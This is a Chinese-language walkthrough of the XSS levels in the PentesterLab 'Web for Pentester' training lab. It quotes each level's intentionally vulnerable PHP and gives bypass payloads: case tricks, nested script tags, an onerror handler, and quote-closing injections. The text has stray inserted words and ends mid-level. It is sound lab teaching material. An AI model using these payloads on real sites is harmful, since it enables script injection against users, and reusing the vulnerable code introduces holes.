官网:https://pentesterlab.com/
下载地址:https://isos.pentesterlab.com/web_for_pentester_i386.iso
安装方法:虚拟机按照,该靶场是封装在debian系统里,安装完成打开,ifconfig查看ip地址:
而后直接访问ip便可
web for pentester默认没有root密码,能够来设置密码,方便ssh链接等查看源码php
sudo passwd
<?php echo $_GET["name"]; ?>
没有任何的过滤,直接将get获取的打印html
/xss/example1.php?name=
git
<?php $name = $_GET["name"]; $name = preg_replace("/<script>/","", $name); $name = preg_replace("/<\/script>/","", $name); echo $name; ?>
这里经过preg_replace()函数来正则,可是这种匹配是有缺陷的,没有匹配大小写,能够经过大小写绕过
github
/xss/example2.php?name=<Script>alert('xss')</Script>
<?php $name = $_GET["name"]; $name = preg_replace("/<script>/i","", $name); $name = preg_replace("/<\/script>/i","", $name); echo $name; ?>
在第二关的基础上加了/i,使之匹配不区分大小写,preg_replace()函数将匹配到的,替换成空格,可是只匹配了一次,相似sql注入(Seselectlect),能够嵌套<script>,匹配到了,替换成空格变成咱们想要的了web
/xss/example3.php?name=<sc<script>ript>alert('xss')</sc</script>ript>
<?php require_once '../header.php'; if (preg_match('/script/i', $_GET["name"])) { die("error"); } ?> Hello <?php echo $_GET["name"]; ?>
对script进行了不区分大小写,匹配若是匹配到,就执行die("error"),终止程序,因此scirpt不能用,只能经过其余标签来触发js事件,可以使用onerror事件,来执行js
sql
/xss/example4.php?name=<img src="xss" onerror=alert('xss')>
<?php require_once '../header.php'; if (preg_match('/alert/i', $_GET["name"])) { die("error"); } ?> Hello <?php echo $_GET["name"]; ?>
对alert进行了过滤浏览器
、ssh
/xss/example5.php?name=<script>confirm('xss')</script> /xss/example5.php?name=<script>prompt('xss')</script> /xss/example5.php?name=<script>eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 39, 120, 115, 115, 39, 41))</script>
<script> var $a= "<?php echo $_GET["name"]; ?>"; </script>
经过get的方式传入name变量,输入赋值给全局变量a,能够经过闭合双引号或者注释双引号来增长咱们的js代码xss
/xss/example6.php?name=";alert('xss');" /xss/example6.php?name=";alert('xss');//
<script> var $a= '<?php echo htmlentities($_GET["name"]); ?>'; </script>
和第八关类似htmlentities()会把字符转换为HTML实体,会将双引号进行编码,但不编码单引号,这里使用的是单引好因此能够继续包含和注释函数
/xss/example7.php?name=';alert('xss');' /xss/example7.php?name=';alert('xss');//
<?php require_once '../header.php'; if (isset($_POST["name"])) { echo "HELLO ".htmlentities($_POST["name"]); } ?> <form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="POST"> Your name:<input type="text" name="name" /> <input type="submit" name="submit"/>
name变量经过form表单以post方式传入,而后经过htmlentities函数实体化后输出来,并未找到破解的方法。而后观察